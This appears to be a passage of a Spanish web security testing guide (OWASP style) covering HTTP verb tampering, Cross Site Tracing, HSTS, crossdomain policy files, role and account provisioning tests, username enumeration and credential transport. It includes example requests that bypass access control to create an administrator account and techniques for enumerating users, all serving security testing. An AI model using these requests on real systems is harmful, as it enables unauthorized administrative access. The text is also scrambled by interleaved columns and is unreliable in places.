TRACE / HTTP/1.1
Si el framework, firewall o la aplicacin no admite el mtodo de "JEFF",
debe $emitir una pgina de error
nc www.example.com 80 (o preferiblemente un 405 Not Allowed o
501 Not implemented error page). Si sirve a la solicitud, es vulnerable a
El contenido de la respuesta es exactamente una copia de nuestra este problema.
JEFF / HTTP/1.1
peticin original, lo que significa que el objetivo permite este mtodo.
Ahora, dnde est el peligro acechando? Si el evaluador indica un Host: www.example.com
navegador para emitir una peticin TRACE al servidor web, y este
navegador tiene una cookie para ese dominio, la cookie se incluir Si el evaluador siente que el sistema es vulnerable a este problema, debe
automticamente en los encabezados de la solicitud y, por lo tanto, se publicar ataques tipo CSRF para explotar el tema ms plenamente:
HTTP/1.1 200 OK
muestran en la respuesta resultante. En ese momento, la cadena de la
cookie ser accesible por JavaScript y ser finalmente posible enviarla a
Date: Mon, 18 Aug 2008 22:38:40 GMT
un tercero, as la cookie est etiquetada como httpOnly.
FOOBAR/admin/createUser.php?member=myAdmin
Server: Apache
JEFF/admin/changePw.php?member=myAdmin&passwd=
Set-Cookie: PHPSESSID=K53QW...
Hay varias maneras de hacer que un navegador emita una solicitud
foo123&confirm=foo123
TRACE, tales como el control XMLHTTP ActiveX en Internet Explorer y
XMLDOM en Mozilla y Netscape. Sin embargo, por razones de seguridad,
CATS /admin/groupEdit.php?group=Admins&member=myAd
al navegador se le permite iniciar una conexin slo con el dominio donde
reside el script hostil. Este es un factor atenuante, ya que el atacante debe
min&action=add
combinar el mtodo TRACE con otra vulnerabilidad para montar el
ataque.
Con suerte, usando los tres comandos anteriores que han sido
modificados para adaptarse a la aplicacin sometida a la prueba y los
Un atacante tiene dos formas de lanzar con xito un ataque de Cross Site
requisitos de prueba, se debe crear un nuevo usuario, con una contrasea
Tracing:
asignada y hacelo administrador.

88
Pruebas para omitir el control de acceso HEAD Si el evaluador piensa que el sistema es vulnerable a este problema, debe
emitir ataques tipo CSRF para explotar el tema ms plenamente:
Encuentre una pgina para visitar que tenga una restriccin de seguridad
que normalmente obligara una redireccin 302 a una pgina de registro
o fuerce un registro directamente. La URL de prueba en este ejemplo
funciona as, como lo hacen muchas aplicaciones web. Sin embargo, si el HEAD /admin/createUser.php?member=myAdmin
evaluador obtiene una respuesta "200" que no es una pgina de inicio de
sesin, es posible eludir la autenticacin y autorizacin. HEAD /admin/changePw.php?member=myAdmin&passwd=
foo123&confirm=foo123
$ nc www.example.com 80
HEAD /admin/groupEdit.php?group=Admins&member=myAd
HEAD /admin HTTP/1.1
min&action=add
Host: www.example.com
Con suerte, usando los tres comandos anteriores (modificados para

HTTP/1.1 200 OK adaptarse a la aplicacin sometida a prueba y los requisitos de prueba)se
debe crear un nuevo usuario, con una contrasea asignada y hacerlo
Date: Mon, 18 Aug 2008 22:44:11 GMT administrador, todo usando un envo de solicitud ciega.
Server: Apache
Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly Herramientas
Expires: Thu, 19 Nov 1981 08:52:00 GMT NetCat - http://nc110.sourceforge.net
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, cURL - http://curl.haxx.se/

pre-check=0
Pragma: no-cache
Referencias
Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009
22:44:31 GMT; domain=www.example.com Libros Blancos
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 RFC 2616: Hypertext Transfer Protocol -- HTTP/1.1
22:54:31 GMT; domain=www.example.com
RFC 2109 and RFC 2965: HTTP State Management Mechanism
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007
22:44:30 GMT; domain=www.example.com
Content-Language: EN Jeremiah Grossman: Cross Site Tracing (XST) - cgisecurity.com
Connection: close Amit Klein: XS(T) attack variants which can, in some cases, eliminate the
need for TRACE - securityfocus.com
Si el evaluador obtiene un "405 Method not allowed " o "501 Method Arshan Dabirsiaghi: Bypassing VBAAC with HTTP Verb Tampering -
Unimplemented", el objetivo static.swpag.info
aplicacin/framework/lenguaje/sistema/firewall) est funcionando
correctamente. Si regresa un cdigo de respuesta "200", y la respuesta no
contiene ningna informacin, es probable que la aplicacin ha procesado
la solicitud sin autenticacin o autorizacin y se deben realizar pruebas
para certificarlas.
Pruebe el HTTP Strict Transport Security
(OTG-CONFIG-007)

89
Resumen
El encabezado HTTPS Strict Transport Security (HSTS) es un mecanismo Cmo probar

que tienen los sitios web para comunicarse con los navegadores web.
Todo el trfico intercambiado con un dominio debe siempre ser enviado Probar la presencia del encabezado HSTS puede hacerse comprobando la
mediante https; esto ayudar a proteger la informacin de que se envie existencia de la Rbrica HSTS en la respuesta del servidor en un proxy de
mediante peticiones no cifradas. intercepcin, o usando curl como se indica a continuacin:
Considerando la importancia de esta medida de seguridad, es importante $ curl -s -D- https://domain.com/ | grep Strict
verificar que el sitio web utilice este encabezado HTTP, para garantizar
que todos los datos viajan encriptados desde el navegador al servidor.
Resultado esperado:
La funcin HTTP Strict Transport Security (HSTS) permite a una Strict-Transport-Security: max-age=...
aplicacin web informar al navegador, mediante el uso de un encabezado
de respuesta especial, que nunca debe establecer una conexin con los
servidores de dominio especificados mediante HTTP. En su lugar debe
Referencias
establecer automticamente todas las solicitudes de conexin para
acceder al sitio a travs de HTTPS.
OWASP HTTP Strict Transport Security - owasp.org
OWASP Appsec Tutorial Series - Episode 4: Strict Transport Security -

http://www.youtube.com/watch?v=zEV3HOuM_Vw
El encabezado HTTP Strict Transport Security utiliza dos directivas:
HSTS Specification: tools.ietf.org

max-age: para indicar el nmero de segundos en el que el navegador debe
convertir automticamente todas las solicitudes de HTTP a HTTPS.
includeSubDomains: para indicar que todos los subdominios de la aplicacin

web deben utilizar HTTPS.
Pruebe la Poltica de Dominio Cruzado RIA (OTG-CONFIG-008)
Resumen
Este es un ejemplo de la aplicacin de la Rbrica HSTS:
Aplicaciones Enriquecidas de Internet (RIA) han adoptado los archivos de
Strict-Transport-Security: max-age=60000; includeSubDomains
polticas de Adobe crossdomain.xml para permitir el acceso controlado de
dominio cruzado para consumo de datos y servicios, utilizando
tecnologas como Oracle Java, Silverlight y Adobe Flash. Por lo tanto, un
dominio puede conceder acceso remoto a sus servicios desde un dominio
El uso del encabezado por parte de las aplicaciones web debe revisarse
diferente. Sin embargo, a menudo los archivos de polticas que describen
para encontrar si podran producirse los siguientes problemas de
las restricciones de acceso se configuran pobremente. Una configuracin
seguridad:
pobre de los archivos de directivas permite ataques de Cross-site Request
Forgery (Falsificacin de peticiones de sitios cruzados) y puede permitir
a terceros acceder a los datos sensibles para el usuario.
Los atacantes olfateando el trfico de red y accediendo a la informacin
transferida a travs de un canal sin codificar.
Los atacantes explotando un ataque de intermediario (man in the middle) Cules son los archivos de directivas entre dominios?
debido al problema de aceptar certificados que no son de
Un archivo de polticas de dominios cruzados especifica los permisos que
confianza. un cliente web como Java, Adobe Flash, Adobe Reader, etc. utilizan para
acceder a datos entre dominios diferentes. Para Silverlight, Microsoft
Los usuarios que entraron por error una direccin en el navegador, poniendo adopt un subconjunto del crossdomain.xml de Adobe y, adems, cre su
HTTP en lugar de HTTPS, o usuarios que hagan clic en un vnculo en una propio archivo de directivas entre dominios: clientaccesspolicy.xml.
aplicacin web que indic por error el protocolo HTTP.

90
<?xml version=1.0?>
Cada vez que un cliente web detecta que un recurso tiene que ser
<!DOCTYPE cross-domain-policy SYSTEM
solicitado a otro dominio, primero buscar un archivo de polticas en el
dominio de destino para determinar si puede realizar peticiones de
http://www.adobe.com/xml/dtds/cross-domain-policy.dtd>
dominio cruzado, incluyendo encabezados, y si se permiten los enlaces
basados en tomas de conexin (socket-based connections) .
<cross-domain-policy>
<site-control permitted-cross-domain-policies=all/>
Los archivos maestros de polticas se encuentran en la raz del dominio. <allow-access-from domain=* secure=false/>
Un cliente puede recibir instrucciones para cargar un archivo de polticas
diferentes, pero siempre comprobar el archivo maestro de poltica <allow-http-request-headers-from domain=* headers=*
primero, para asegurarse de que el archivo maestro de polticas permite secure=false/>
el archivo de polticas solicitado.
</cross-domain-policy>
Crossdomain.xml vs. Clientaccesspolicy.xml
La mayora de las aplicaciones RIA soportan crossdomain.xml. Sin Cmo pueden los archivos de polticas de dominios cruzados ser
embargo, en el caso de Silverlight, solo le est permitido funcionar si forzados?
crossdomain.xml especifica que el acceso se permite desde cualquier
dominio. Para un control ms detallado con Silverlight, debe usarse Polticas de dominios cruzados excesivamente permisivas.
clientaccesspolicy.xml.
Que generan respuestas del servidor que pueden ser tratadas como
archivos de polticas de dominios cruzados.
Los archivos de polticas conceden varios tipos de permisos: Que usan la funcionalidad de carga de archivos para subirlos y tratarlos
como archivos de polticas de dominios cruzados.
Archivos de polticas aceptados (Los archivos maestros de polticas de

archivos pueden deshabilitar o restringir archivos de polticas especficas) Impacto del abuso del acceso de dominios cruzados
Permisos de tomas de conexin Derrotar las protecciones CSRF.
Permisos de encabezados Leer datos restringidos o que estaban protegidos por polticas de origen
cruzado.
Permisos de acceso HTTP/HTTPS
Permitir el acceso basado en credenciales criptogrficas

Cmo probar
Para probar las debilidades de los archivos de polticas RIA:

Un ejemplo de un archivo de polticas excesivamente permisivos:
Para probar la debilidad del archivo de polticas RIA, el evaluador debe
tratar de recuperar los archivos de las polticas crossdomain.xml y
clientaccesspolicy.xml de la raz de la aplicacin y de cada carpeta
encontrada.
Por ejemplo, si el URL de la aplicacin es http://www.owasp.org, el

evaluador debe intentar descargar los archivos
http://www.owasp.org/crossdomain.xml and
http://www.owasp.org/clientaccesspolicy.xml.

91
MSDN: Making a Service Available Across Domain Boundaries

msdn.microsoft.com
Despus de recuperar todos los archivos de polticas, los permisos
permitidos deben medirse bajo el principio de privilegios mnimos. Las MSDN: Network Security Access Restrictions in Silverlight -
solicitudes slo deben provenir de los dominios, puertos o protocolos que msdn.microsoft.com
son necesarios. Deben evitarse las polticas excesivamente permisivas.
Polticas con "*" deben ser examinadas de cerca. Stefan Esser: Poking new holes with Flash Crossdomain Policy Files
hardened-php.net
Jeremiah Grossman: Crossdomain.xml Invites Cross-site Mayhem
<allow-access-from domain=* /> jeremiahgrossman.blogspot.com
</cross-domain-policy> Google Doctype: Introduction to Flash security - code.google.com
Ejemplo:
Pruebe las Definiciones de Roles (OTG-
IDENT-001)
<allow-access-from domain=* />
Resumen
</cross-domain-policy>
Es comn en las empresas modernas definir funciones de sistema para la
gestin de usuarios y autorizacin de recursos del sistema. En la mayora
de las implementaciones de sistema, se espera que existan al menos dos
Resultado esperado: funciones: los administradores y usuarios regulares. El primero
representa un papel que permite el acceso a la funcionalidad privilegiada
e informacin sensible; el segundo que representa un papel que permite
el acceso a informacin y funcionalidad del negocio regular. Los roles
una lista de archivos de polticas encontrados. bien desarrollados deben estar alineados con los procesos de negocio que
estn soportados por la aplicacin.
Una configuracin dbil en las polticas.
Es importante recordar que la autorizacin obligatoria no es la nica

Herramientas manera de gestionar el acceso a los objetos del sistema. En entornos ms
confiables, donde la confidencialidad no es crtica, controles ms suaves
Nikto
como el flujo de trabajo de aplicacin y registro de auditora pueden
cubrir los requisitos de integridad de los datos, mientras no restrinjan el
OWASP Zed Attack Proxy Project
acceso del usuario a la funcionalidad o la creacin de estructuras de roles
ms complejas, que son difciles de manejar.
W3af
Referencias Es importante considerar el principio de "Ricitos de Oro" cuando

hablamos de la ingeniera de roles. Definirmuy pocos papeles y amplios
Libros Blancos papeles (exponiendo a los usuarios de esta manera al acceso de
funcionalidades que no requieren) es tan malo como muchos papeles o
UCSD: Analyzing the Crossdomain Policies of Flash Applications - hechos muy ajustados a la medida de cada usuario ( y as restringir el
cseweb.ucsd.edu acceso de los usuarios a las funcionalidades que requieren).
Adobe: Cross-domain policy file specification - adobe.com
Adobe: Cross-domain policy file usage recommendations for Flash Player Pruebe los objetivos
- adobe.com
Oracle: Cross-Domain XML Support - oracle.com

92
Valide los diferentes roles en el sistema, definidos dentro de la aplicacin.

Defina y separe lo suficiente cada sistema y rol de negocio para gestionar
un acceso adecuado a la informacin y funcionalidad del sistema. Remediacin
La remediacin de los problemas puede tomar las siguientes formas:
Ingeniera de roles
Cmo probar Crear mapas de los roles del negocio a los roles del sistema
Con o sin ayuda de los desarrolladores del sistema o administradores, Separacin de funciones
desarrolle un rol versus la matriz de permisos. La matriz debe enumerar
todos los roles que pueden ser provisionados y explorar los permisos que
pueden aplicarse a los objetos, as como las restricciones. Si una matriz es
proporcionada con la aplicacin, esta debe ser validada por el evaluador;
Pruebe el Proceso de Registro del Usuario
si no existe, el evaluador debe generar y determinar si la matriz satisface
las polticas de acceso deseado por la aplicacin. (OTG-IDENT-002)
Resumen
Ejemplo Algunos sitios web ofrecen un proceso de registro del usuario, que
automatiza (o semi-automatiza) la creacin del acceso al sistema para los
Un ejemplo real de definiciones de roles se puede encontrar en la usuarios. Los requisitos de identidad para el acceso varan desde
documentacin de funciones de WordPress [1]. WordPress tiene seis identificacin positiva a ninguna en absoluto, dependiendo de los
roles por defecto desde Super Administrador hasta Suscriptor. requisitos de seguridad del sistema. Muchas aplicaciones pblicas
automatizan totalmente el registro y el proceso de provisionamiento
porque el tamao de la base de usuarios hace que sea imposible
manejarla manualmente. Sin embargo, muchas aplicaciones corporativas
provisionan usuarios manualmente, por lo que este tipo de prueba puede
no ser aplicable.
[1] Verifique que los requisitos de identidad para registro de usuarios

estn alineados con los requerimientos de seguridad y negocio.
[2] Valide el proceso de registro.

Herramientas
Si bien el enfoque ms exhaustivo y exacto para completar esta prueba es

llevarla a cabo manualmente, las herramientas de spidering[2] tambin
Cmo probar
son tiles. Inicie la sesin con cada rol en orden (no olvide excluir el
vnculo cerrar sesin desde la herramienta de spidering). Verifique que los requisitos de identidad para registro de usuarios estn
alineados con los requerimientos de seguridad y negocio:
Referencias
[1] Cualquier persona puede registrarse para acceder?
[1] Role Engineering for Enterprise Security Management, E Coyne & J
Davis, 2007
[2] Son validados por un ser humano antes de crear los registros, o se
conceden automticamente si se cumplen los criterios?
[2] Role engineering and RBAC standards

93
[3] Puede la misma persona o identidad registrarse varias veces?
[4] Pueden registrarse usuarios para diferentes roles o permisos?
[5] Qu documento de identidad se requiere para que un registro tenga

xito?
[6] Son las identidades registradas verificadas? Herramientas
Un proxy HTTP puede ser una herramienta til para probar este control.
Validar el proceso de registro:
[1] Puede la informacin de identidad ser fcilmente falsificada?
Referencias
[2] Puede el intercambio de informacin durante el registro ser Diseo de registro de usuarios
manipulado?
Remediacin
Ejemplo
Implemente una identificacin y verificacin de requisitos que
En el siguiente ejemplo de WordPress, el nico requisito de identificacin corresponden a los requisitos de seguridad de la informacin que las
es una direccin de correo electrnico accesible a la persona registrada. credenciales protegen.
Pruebe el Proceso de Creacin de Cuentas

(OTG-IDENT-003)
Resumen
El aprovisionamiento de cuentas presenta una oportunidad para un

atacante de crear una cuenta vlida sin la aplicacin de una correcta
identificacin y proceso de autorizacin.
Objetivos de la Prueba
En cambio, en el ejemplo de Google a continuacin, la identificacin de Verifique qu cuentas pueden aprovisionar otras cuentas y de qu tipo.
requisitos incluye nombre, fecha de nacimiento, pas, nmero de telfono
mvil, direccin de correo electrnico y respuesta CAPTCHA. Mientras
que slo dos de estos pueden verificarse (direccin email y nmero de
mvil), los requisitos de identificacin son ms estrictos que en Cmo probar
WordPress.

94
Determine qu roles estn a disposicin de los usuarios y qu tipo de

cuentas pueden aprovisionar .
Existe alguna verificacin, examen y autorizacin de las solicitudes de

aprovisionamiento?
Existe alguna verificacin, examen y autorizacin de las solicitudes de

aprovisionamiento?
Puede un administrador aprovisionar a otros administradores o slo usuarios?
Puede un administrador u otras cuentas crear cuentas de usuario con privilegios

mayores que los suyos?
Herramientas
Puede un administrador o usuario eliminar su cuenta? Aunque el enfoque ms exhaustivo y exacto para completar esta prueba
es llevarla a cabo manualmente, las herramientas de proxy HTTP tambien
pueden ser tiles.
Cmo son gestionados los archivos o recursos propiedad del usuario eliminado?
Se eliminan? Se transfiere el acceso?
Pruebas de enumeracin de cuentas y

adivinanza de cuentas de usuario (OTG-
Ejemplo
IDENT-004)
En WordPress, slo el nombre de usuario y correo electrnico son
necesarios para crear un usuario, como se muestra a continuacin: Resumen
La visin de esta prueba es verificar si es posible reunir un conjunto de

nombres vlidos de usuario interactuando con el mecanismo de
autenticacin de la aplicacin. Esta prueba ser til para las pruebas de
fuerza bruta, en las que el evaluador verifica si, dado un nombre de
usuario vlido, es posible encontrar la contrasea correspondiente.
A menudo, las aplicaciones web revelan cundo existe un nombre de

usuario en el sistema, ya sea como consecuencia de la mala configuracin
o como una decisin de diseo. Por ejemplo, a veces, cuando se envan
credenciales equivocadas, recibimos un mensaje que indica que el
nombre de usuario est presente en el sistema o la contrasea
La eliminacin de usuarios requiere que el administrador seleccione los
proporcionada es incorrecta. La informacin obtenida puede utilizarla un
usuarios a ser eliminados. Seleccione Eliminar del men desplegable
atacante para obtener una lista de los usuarios en el sistema. Esta
(marcado en un crculo) y luego aplique esta accin. Al administrador se
informacin puede utilizarse para atacar la aplicacin web, por ejemplo, a
le presenta entonces un cuadro de dilogo preguntando qu hacer con los
travs de un ataque forzado o un ataque por defecto de nombre de
mensajes del usuario (borrar o transferir).
usuario y contrasea.

95
El evaluador debe interactuar con el mecanismo de autenticacin de la El navegador debe mostrar un mensaje similar al siguiente:
aplicacin para entender si, enviando peticiones en particular, se logra
que la aplicacin responda de diferentes maneras. Este problema existe
porque la informacin de aplicacin web o servidor web es diferente
cuando el usuario proporciona un nombre de usuario vlido que cuando
usa uno no vlido.
En algunos casos, se recibe un mensaje que revela si las credenciales

proporcionadas estn equivocadas porque se utiliz un nombre de o algo as:
usuario no vlido o una contrasea incorrecta. A veces, los evaluadores
pueden enumerar los usuarios existentes enviando un nombre de usuario
y una contrasea vaca.
Cmo probar
En una prueba de de caja negra, el evaluador no sabe nada acerca de la

aplicacin, nombre de usuario, lgica de la aplicacin, mensajes de error
en el registro de la pgina o posibilidades de recuperacin de contrasea. contra cualquier mensaje que revela la existencia del usuario, por
Si la aplicacin es vulnerable, el evaluador recibe un mensaje de ejemplo, un mensaje similar al siguiente:
respuesta que revela, directa o indirectamente, alguna informacin til
para la enumeracin de usuarios. Login for User foo: invalid password
Mensaje de respuesta HTTP
Usando WebScarab, note la informacin obtenida de este intento fallido

de autenticacin (respuesta HTTP 200, longitud de la respuesta).
Pruebas de bsqueda de contraseas y usuarios vlidos
Pruebas para buscar un usuario no existente

Registre la respuesta del servidor cuando se enva una identificacin de
usuario vlido y una contrasea vlida. Ahora, el evaluador debe intentar introducir un ID de usuario invlido y
una contrasea incorrecta y registrar la respuesta del servidor (el
evaluador debe estar seguro que el nombre de usuario no es vlido en la
aplicacin). Grabe el mensaje de error y la respuesta del servidor.
Resultado esperado:
Usando WebScarab, anote la informacin obtenida de esta autenticacin

correcta (respuesta HTTP 200, longitud de la respuesta). Resultado esperado:
Si el evaluador ingresa un ID de usuario inexistente, puede recibir un

mensaje similar a:
Pruebas para un usuario vlido con una contrasea incorrecta.
Ahora, el evaluador intentar introducir un usuario vlido y una

contrasea incorrecta y grabar el mensaje de error generado por la
aplicacin.
Resultado esperado:

96
o un mensaje como el siguiente:

http://www.foo.com/err.jsp?User=baduser&Error=0
Login failed for User foo: invalid Account
http://www.foo.com/err.jsp?User=gooduser&Error=2
Generalmente, la aplicacin debe responder con el mismo mensaje de
error y la longitud a las distintas solicitudes incorrectas. Si las respuestas
no son iguales, el evaluador debe investigar y averiguar la clave que crea Como se ve arriba, cuando un evaluador proporciona un ID de usuario y
una diferencia entre las dos respuestas. Por ejemplo: una contrasea a la aplicacin web, ven un mensaje que indica que se ha
producido un error en la URL. En el primer caso han proporcionado un ID
de usuario equivocado y una contrasea equivocada. En el segundo, un ID
de usuario correcto y una contrasea equivocada, as que pueden
Solicitud del cliente: usuario vlido/ contrasea invlida--> identificar un ID de usuario vlido.
Respuesta del servidor: 'la contrasea no es correcta'
Solicitud del cliente: : usuario invlido/ contrasea invlida --> -Sondeo de una URI
Respuesta del servidor: 'Usuario no reconocido' A veces un servidor web responde diferente si recibe una solicitud de un
directorio existente o no. Por ejemplo, en algunos portales, cada usuario
est asociado con un directorio. Si los evaluadores intentan acceder a un
directorio existente, ellos podran recibir un error de servidor web.
Las respuestas anteriores permiten al evaluador entender con la primera
solicitud que tienen un nombre de usuario vlido para interactuar con la Un error muy comn que se recibe desde el servidor web es:
aplicacin, solicitando un conjunto de posibles usuarios y observar la
respuesta.
403 Forbidden error code

Observando la segunda respuesta del servidor, el evaluador entiende, de
la misma manera, que no tiene un nombre de usuario vlido. As pueden
interactuar de igual forma y crear una lista de usuarios vlidos mirando y
las respuestas del servidor.
404 Not found error code
Otras maneras de enumerar usuarios
Los evaluadores pueden enumerar usuarios de varias maneras, tales

como:
- Analizando el cdigo de error recibido en las pginas de inicio de sesin
Algunas aplicaciones web liberan cdigo de error especfico o un mensaje

que podemos analizar.
Ejemplo
http://www.foo.com/account1 - we receive from web server: 403

- Analizando URL y redireccionamientos de URL
Forbidden
Por ejemplo:
http://www.foo.com/account2 - we receive from web server: 404
file Not Found

97
recibir "200 ok" con una imagen; en este caso, podemos suponer que
cuando recibimos la imagen especfica el usuario no existe. Esta lgica
En el primer caso el usuario existe, pero el evaluador no puede ver la puede aplicarse a otra respuesta del servidor web; el truco es un buen
pgina anlisis de los mensajes del servidor web y de la aplicacin web.
web; en el segundo caso, en cambio, el usuario "account2" no existe. Adivinanza de usuarios

Recopilando esta informacin, los evaluadores pueden enumerar a los
En algunos casos, el ID de usuario se crea con polticas especficas de la
empresa o el administrador. Por ejemplo, podemos ver un usuario con un
ID de usuario creado en orden secuencial:
usuarios.
CN000100
CN000101
-Anlisis de los ttulos de la Pgina Web
.
Los evaluadores pueden recibir informacin til del ttulo de la pgina
web, donde pueden obtener un cdigo de error especfico o mensajes que A veces los usuarios son creados con un alias REALM y luego nmeros
revelan si los problemas son del usuario o contrasea. secuenciales:
R1001 user 001 for REALM1
Por ejemplo, si un usuario no puede autenticarse en una aplicacin y R2001 user 001 for REALM2
recibe una pgina web cuyo ttulo es similar a:
Invalid user Para el ejemplo anterior, podemos crear secuencias de comandos de

carcaza (shell scripts) simples que componen usuarios y envan una
Invalid authentication solicitud con herramientas como wget para automatizar una consulta
web para discernir ID de usuarios vlidos. Para crear una secuencia de
comandos tambin podemos usar Perl y Curl.
- Anlisis de un mensaje recibido de una instalacin de recuperacin
Cuando utilizamos una instalacin de recuperacin (es decir, una funcin

de contrasea olvidada) una aplicacin vulnerable puede devolver un Otras posibilidades son:
mensaje que revela si un nombre de usuario existe o no.
ID de usuarios asociados con nmeros de tarjetas de crdito o, en
general, nmeros con un patrn.
Por ejemplo, un mensaje similar al siguiente: ID de usuarios asociados con nombres reales, por ejemplo, si Freddie
Mercury tiene un ID de usuario de "fmercury", entonces usted podra
Usuario Invlido: e-mail address is not valid or the specified user was not found.
adivinar que Roger Taylor tiene el ID de usuario "rtaylor".
Usuario vlido: Your password has been successfully sent to the email address you
registered with.
Una vez ms, podemos intuir un nombre de usuario de la informacin
recibida de una consulta LDAP o de la recopilacin de informacin de
Google, por ejemplo, de un dominio especfico. Google puede ayudar a
encontrar los usuarios de un dominio a travs de consultas especficas o a
travs de secuencias de comandos de carcaza (shell scripts) simples o
- Mensaje de Error 404 amigable
herramientas.
Cuando solicitamos a un usuario dentro del directorio que no existe, no
siempre recibimos un cdigo de error 404. Por el contrario, podemos

98
Atencin: mediante la enumeracin de cuentas de usuario, se arriesga a Asegrese de que la aplicacin devuelve mensajes de error genricos,
bloquear las cuentas despus de un nmero predefinido de intentos consistentes en respuesta a nombres de cuenta vlidos, contraseas u
fallidos (basado en las polticas de la aplicacin). Tambin, a veces, su otras credenciales de usuario, ingresados durante el proceso de registro.
direccin IP puede ser prohibida por reglas dinmicas en la aplicacin
firewall o sistema de prevencin de intrusin.
Asegrese que las cuentas de pruebas del sistema y cuentas por defecto
se eliminen antes de lanzar el sistema a produccin (o exponindola a
Pruebas de Caja Gris una red no confiable).
Pruebas a los mensajes de error de autenticacin
Compruebe que la aplicacin responde de la misma manera a cada

solicitud de un cliente que produce una autenticacin fallida. Para este
problema, la prueba de Caja Negra y la de Caja Gris tienen el mismo
concepto, basado en el anlisis de los mensajes o cdigos de error
recibidos de la aplicacin web.
Pruebe las polticas de nombre de usuario dbiles o sin

Resultado esperado:
fuerza (OTG-IDENT-005)
La aplicacin debe responder de la misma manera a cada intento fallido
de autenticacin.
Resumen
Los nombres de usuario de cuentas estn a menudo altamente

estructurados (por ejemplo, el nombre de la cuenta de Joe Bloggs es
Por ejemplo: jbloggs y el nombre de la cuenta de Fred Nurks es fnurks) y los nombres
de cuentas vlidos pueden ser adivinados fcilmente.
Credentials submitted are not valid
Objetivos de la Prueba
Herramientas
Determine si una estructura de nombres de cuenta constante hace que la
WebScarab: OWASP_WebScarab_Project aplicacin sea vulnerable a la enumeracin de la cuenta. Determine si los
mensajes de error de la aplicacin permiten la enumeracin de la cuenta.
CURL: curl.haxx.se
PERL: perl.org
Cmo probar
Sun Java Access & Identity Manager users enumeration tool:
Determine la estructura de nombres de cuentas.
aboutsecurity.net
Evale la respuesta de la aplicacin a nombres de cuentas vlidos y no
vlidos.
Referencias Utilice diferentes respuestas a nombres de cuentas vlidos y no vlidos para

enumerar nombres de cuenta vlidos.
Marco Mella, Sun Java Access & Identity Manager Users enumeration:
aboutsecurity.net Use diccionarios de nombre de cuenta para enumerar los nombres de cuenta
vlidos.
Username Enumeration Vulnerabilities: gnucitizen.org
Remediacin
Remediacin

99
Asegrese que la aplicacin devuelva mensajes de error genricos

consistentes en respuesta a nombres de cuenta invlidos, contraseas u
otras credenciales de usuario introducidas durante el proceso registro. En la actualidad, el ejemplo ms comn de este problema es la pgina de
registro en una aplicacin web. El evaluador debe comprobar que las
credenciales del usuario se transmitan a travs de un canal encriptado.
Para iniciar una sesin en un sitio web, el usuario generalmente tiene que
Pruebas de Autenticacin llenar un formulario simple que transmite los datos insertados a la
aplicacin web con el mtodo POST. Lo que es menos evidente es que
Autenticacin(Griego: = verdadero o genuino, de estos datos se pueden transmitir mediante el protocolo HTTP, que
'authentes' = el autor) es el acto de establecer o confirmar algo (o alguien) transfiere los datos de
como autntico, es decir, que las demandas hechas por o sobre la cosa son
verdaderas. Autenticar un objeto puede significar confirmar su
procedencia, mientras que la autenticacin de una persona a menudo
consiste en verificar su identidad. La autenticacin depende de uno o ms una manera insegura, como texto transparente, o utilizando el protocolo
factores de autenticacin. HTTPS, que cifra los datos durante la transmisin.
En seguridad informtica, la autenticacin es el proceso de intentar Para complicar ms las cosas, existe la posibilidad de que el sitio tenga la
verificar la identidad digital del remitente de una comunicacin. Un pgina de inicio accesible a travs de HTTP (hacindonos creer que la
ejemplo comn de este proceso es el proceso de registro. Probar el transmisin es insegura), pero en realidad enva datos a travs de HTTPS.
esquema de autenticacin significa comprender cmo funciona el proceso Esta prueba se hace para asegurarse que un atacante no pueda recuperar
de autenticacin y usar esa informacin para eludir el mecanismo de informacin sensible simplemente husmeando en la red con una
autenticacin. herramienta de olfateo ( sniffer).
Pruebas del transporte de credenciales en un canal Cmo probar
encriptado (OTG-AUTHN-001) Pruebas de Caja Negra
Resumen En los siguientes ejemplos, usaremos WebScarab para capturar los

encabezados de los paquetes e inspeccionarlos. Puede utilizar cualquier
Probar el transporte de credenciales significa comprobar que los datos de proxy de web que usted prefiera.
autenticacin del usuario se transfieren a travs de un canal encriptado
para evitar ser interceptados por usuarios maliciosos. El anlisis se centra
simplemente en tratar de entender si los datos viajan sin encriptar desde
el navegador web al servidor, o si la aplicacin web toma las medidas de Ejemplo 1: Envo de datos con el mtodo POST a travs de HTTP
seguridad apropiadas al usar protocolos como HTTPS. El protocolo
HTTPS se construye sobre TLS/SSL para encriptar los datos que se Suponga que la pgina de registro presenta un formulario con los campos
transmiten y asegurar que el usuario es enviado hacia el sitio deseado. Usuario, Contrasea y el botn de Enviar para autentificar y dar acceso a
la aplicacin. Si nos fijamos en las cabeceras de nuestra peticin con
WebScarab, podemos conseguir algo como esto:
Claramente, el hecho de que el trfico se encuentre cifrado no

necesariamente significa que es totalmente seguro. La seguridad depende
tambin del algoritmo utilizado y la robustez de las claves que la
aplicacin est utilizando, pero no se abordar este tema en particular en
esta seccin.
Para una discusin ms detallada sobre las pruebas de seguridad de los

canales TLS/SSL, consulte el captulo Probando SSL/TLS dbiles. Aqu, el
evaluador simplemente tratar de entender si los datos que los usuarios
colocan en los formularios web para iniciar una sesin en un sitio web se
transmiten utilizando protocolos seguros que los protege de un atacante.

100
POST http://www.example.com/AuthenticationServlet HTTP/1.1 POST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1
Host: www.example.com Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14)
Gecko/20080404 Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300 Keep-Alive: 300
Connection: keep-alive Connection: keep-alive
Referer: http://www.example.com/index.jsp Referer: https://www.example.com/cgi-bin/login.cgi
Cookie: Cookie: language=English;

JSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBdqn98CGlkP4jTvV
CGdyPkmn3S! Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded Content-length: 50
